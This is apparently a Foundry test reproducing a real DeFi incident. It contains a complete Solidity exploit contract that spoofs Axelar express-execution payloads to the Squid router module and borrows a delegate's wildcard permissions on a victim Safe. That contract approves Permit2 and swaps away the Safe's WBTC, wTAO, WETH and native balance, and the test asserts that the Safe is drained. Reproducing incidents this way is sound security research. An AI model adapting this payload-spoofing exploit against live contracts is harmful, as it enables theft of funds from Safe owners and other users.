src/test/2026-05/SquidRouterModule_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 0.25 WBTC + 0.29 wTAO + 0.02 WETH
8// Attacker : 0x9bdc730183821b6bb2b51be30b77c964fa645b91
9// Attack Contract : 0xe1d5fcfbba4d46f4937de369de415dd7e2d3265a
10// Vulnerable Contract : 0x1f1d37a3bf840e35c6a860c7c2da71fe555123ca
11// Attack Tx : https://etherscan.io/tx/0x2d52984706d5ac567d554d40a62beeeda9e3901dd3847e93dd2a3117902abfeb
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x1f1d37a3bf840e35c6a860c7c2da71fe555123ca#code
15 
16// @Analysis
17// Source : https://t.me/defimon_alerts/3045
18//
19// The public Axelar express path accepts a caller-supplied payload and uses the delegate encoded in that payload
20// for Safe permission checks. The attacker supplied a payload naming a delegate with wildcard permissions on the
21// victim Safe, then used the module to approve Permit2 and swap the Safe's WBTC, wTAO, and WETH into u.
22 
23address constant SQUID_ROUTER_MODULE = 0x1f1d37a3Bf840e35c6a860c7C2dA71Fe555123ca;
24address constant ATTACKER = 0x9BDC730183821b6bb2B51BE30B77C964FA645b91;
25address constant ATTACK_CONTRACT = 0xe1d5FCfBba4d46F4937de369De415dD7E2D3265a;
26address constant VICTIM_SAFE = 0xc52950d522034a558903CC409c8bbF1f4Decc62e;
27address constant PERMISSIONED_DELEGATE = 0x352C6a9f59357457b83D97e33cE28B333a7a1F3c;
28address constant UNIVERSAL_ROUTER = 0x66a9893cC07D91D95644AEDD05D03f95e1dBA8Af;
29address constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
30 
31address constant U_TOKEN = 0xe6Ff0FE017D09D690493deC0F0f55E8f9Cdc3512;
32address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
33address constant WTAO = 0x77E06c9eCCf2E797fd462A92B6D7642EF85b0A44;
34address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
35 
36address constant WBTC_U_POOL = 0x52821a7B74A9388000fC846E1D4fb9C48afCbfE6;
37address constant WTAO_U_POOL = 0x5065302Afc91306C2919342766661A0D01464360;
38address constant WETH_U_POOL = 0x97Aca462462549E218bFb16CcfF403739cD5B688;
39 
40string constant SQUID_ROUTER_SOURCE = "0xce16F69375520ab01377ce7B88f5BA8C48F8D666";
41string constant AXELAR_TOKEN_SYMBOL = "WETH";
42uint24 constant POOL_FEE = 500;
43 
44enum ExecuteActionType {
45    UNI_V2_SWAP_EXACT_IN,
46    UNI_V2_SWAP_EXACT_OUT,
47    UNI_V3_SWAP_EXACT_IN,
48    UNI_V3_SWAP_EXACT_OUT,
49    ERC20_APPROVE,
50    PERMIT2_APPROVE,
51    NATIVE_WRAP,
52    NATIVE_UNWRAP
53}
54 
55struct ExecuteAction {
56    ExecuteActionType actionType;
57    bytes encodedData;
58}
59 
60struct ActionsExecutionParams {
61    ExecuteAction[] actions;
62    bool isStrict;
63}
64 
65interface ISquidRouterModule {
66    function expressExecuteWithToken(
67        bytes32 commandId,
68        string calldata sourceChain,
69        string calldata sourceAddress,
70        bytes calldata payload,
71        string calldata symbol,
72        uint256 amount
73    ) external payable;
74}
75 
76contract ContractTest is BaseTestWithBalanceLog {
77    ExploitExecutor private executor;
78 
79    function setUp() public {
80        uint256 forkBlock = 25_170_474;
81        vm.createSelectFork("mainnet", forkBlock);
82        vm.roll(25_170_475);
83        vm.warp(1_779_689_879);
84 
85        fundingToken = WBTC;
86        multiAssetLog = true;
87        attacker = VICTIM_SAFE;
88        _addFundingToken(WBTC);
89        _addFundingToken(WTAO);
90        _addFundingToken(WETH_TOKEN);
91        _addFundingToken(U_TOKEN);
92        _addFundingToken(address(0));
93 
94        vm.label(SQUID_ROUTER_MODULE, "SquidRouterModule");
95        vm.label(ATTACKER, "Attacker");
96        vm.label(ATTACK_CONTRACT, "Attack Contract");
97        vm.label(VICTIM_SAFE, "Victim Safe");
98        vm.label(PERMISSIONED_DELEGATE, "Permissioned Delegate");
99        vm.label(UNIVERSAL_ROUTER, "Universal Router");
100        vm.label(PERMIT2, "Permit2");
101        vm.label(U_TOKEN, "u");
102        vm.label(WBTC, "WBTC");
103        vm.label(WTAO, "wTAO");
104        vm.label(WETH_TOKEN, "WETH");
105        vm.label(WBTC_U_POOL, "WBTC-u pool");
106        vm.label(WTAO_U_POOL, "wTAO-u pool");
107        vm.label(WETH_U_POOL, "WETH-u pool");
108 
109        executor = new ExploitExecutor();
110        vm.etch(ATTACK_CONTRACT, address(executor).code);
111    }
112 
113    function testExploit() public balanceLog {
114        uint256 safeWbtcBefore = IERC20(WBTC).balanceOf(VICTIM_SAFE);
115        uint256 safeWtaoBefore = IERC20(WTAO).balanceOf(VICTIM_SAFE);
116        uint256 safeWethBefore = IERC20(WETH_TOKEN).balanceOf(VICTIM_SAFE);
117        uint256 safeNativeBefore = VICTIM_SAFE.balance;
118        uint256 safeUBefore = IERC20(U_TOKEN).balanceOf(VICTIM_SAFE);
119 
120        uint256 poolWbtcBefore = IERC20(WBTC).balanceOf(WBTC_U_POOL);
121        uint256 poolWtaoBefore = IERC20(WTAO).balanceOf(WTAO_U_POOL);
122        uint256 poolWethBefore = IERC20(WETH_TOKEN).balanceOf(WETH_U_POOL);
123 
124        // step 1: spoof express bridge fulfillment payloads that name the permissioned delegate.
125        vm.prank(ATTACKER, ATTACKER);
126        ExploitExecutor(ATTACK_CONTRACT).attack();
127 
128        // step 2: the Safe's valuable balances were consumed by the routed swaps.
129        assertEq(IERC20(WBTC).balanceOf(VICTIM_SAFE), 0);
130        assertEq(IERC20(WTAO).balanceOf(VICTIM_SAFE), 0);
131        assertEq(IERC20(WETH_TOKEN).balanceOf(VICTIM_SAFE), 0);
132        assertEq(VICTIM_SAFE.balance, 0);
133 
134        // step 3: the three pools received the assets, and the Safe received u.
135        assertEq(IERC20(WBTC).balanceOf(WBTC_U_POOL) - poolWbtcBefore, safeWbtcBefore);
136        assertEq(IERC20(WTAO).balanceOf(WTAO_U_POOL) - poolWtaoBefore, safeWtaoBefore);
137        assertEq(IERC20(WETH_TOKEN).balanceOf(WETH_U_POOL) - poolWethBefore, safeNativeBefore + safeWethBefore);
138        assertGt(IERC20(U_TOKEN).balanceOf(VICTIM_SAFE), safeUBefore);
139    }
140}
141 
142contract ExploitExecutor {
143    ISquidRouterModule private constant module = ISquidRouterModule(SQUID_ROUTER_MODULE);
144 
145    function attack() external {
146        _express(_swapAllTokenActions(WBTC));
147        _express(_swapAllTokenActions(WTAO));
148        _express(_wrapAndSwapWethActions());
149    }
150 
151    function _express(
152        ActionsExecutionParams memory params
153    ) private {
154        bytes memory payload = abi.encode(SQUID_ROUTER_MODULE, VICTIM_SAFE, PERMISSIONED_DELEGATE, params);
155 
156        module.expressExecuteWithToken(bytes32(0), "", SQUID_ROUTER_SOURCE, payload, AXELAR_TOKEN_SYMBOL, 0);
157    }
158 
159    function _swapAllTokenActions(
160        address token
161    ) private view returns (ActionsExecutionParams memory params) {
162        uint256 amountIn = IERC20(token).balanceOf(VICTIM_SAFE);
163 
164        params.actions = new ExecuteAction[](3);
165        params.actions[0] = _erc20Approve(token);
166        params.actions[1] = _permit2Approve(token);
167        params.actions[2] = _v3ExactInputSwap(token, amountIn);
168        params.isStrict = false;
169    }
170 
171    function _wrapAndSwapWethActions() private view returns (ActionsExecutionParams memory params) {
172        uint256 nativeAmount = VICTIM_SAFE.balance;
173        uint256 wethAmountIn = nativeAmount + IERC20(WETH_TOKEN).balanceOf(VICTIM_SAFE);
174 
175        params.actions = new ExecuteAction[](4);
176        params.actions[0] =
177            ExecuteAction({actionType: ExecuteActionType.NATIVE_WRAP, encodedData: abi.encode(nativeAmount)});
178        params.actions[1] = _erc20Approve(WETH_TOKEN);
179        params.actions[2] = _permit2Approve(WETH_TOKEN);
180        params.actions[3] = _v3ExactInputSwap(WETH_TOKEN, wethAmountIn);
181        params.isStrict = false;
182    }
183 
184    function _erc20Approve(
185        address token
186    ) private pure returns (ExecuteAction memory) {
187        return ExecuteAction({
188            actionType: ExecuteActionType.ERC20_APPROVE, encodedData: abi.encode(token, PERMIT2, type(uint256).max)
189        });
190    }
191 
192    function _permit2Approve(
193        address token
194    ) private pure returns (ExecuteAction memory) {
195        return ExecuteAction({
196            actionType: ExecuteActionType.PERMIT2_APPROVE,
197            encodedData: abi.encode(token, UNIVERSAL_ROUTER, type(uint160).max)
198        });
199    }
200 
201    function _v3ExactInputSwap(
202        address tokenIn,
203        uint256 amountIn
204    ) private view returns (ExecuteAction memory) {
205        return ExecuteAction({
206            actionType: ExecuteActionType.UNI_V3_SWAP_EXACT_IN,
207            encodedData: abi.encode(
208                UNIVERSAL_ROUTER, amountIn, 0, block.timestamp + 1000, abi.encodePacked(tokenIn, POOL_FEE, U_TOKEN)
209            )
210        });
211    }
212}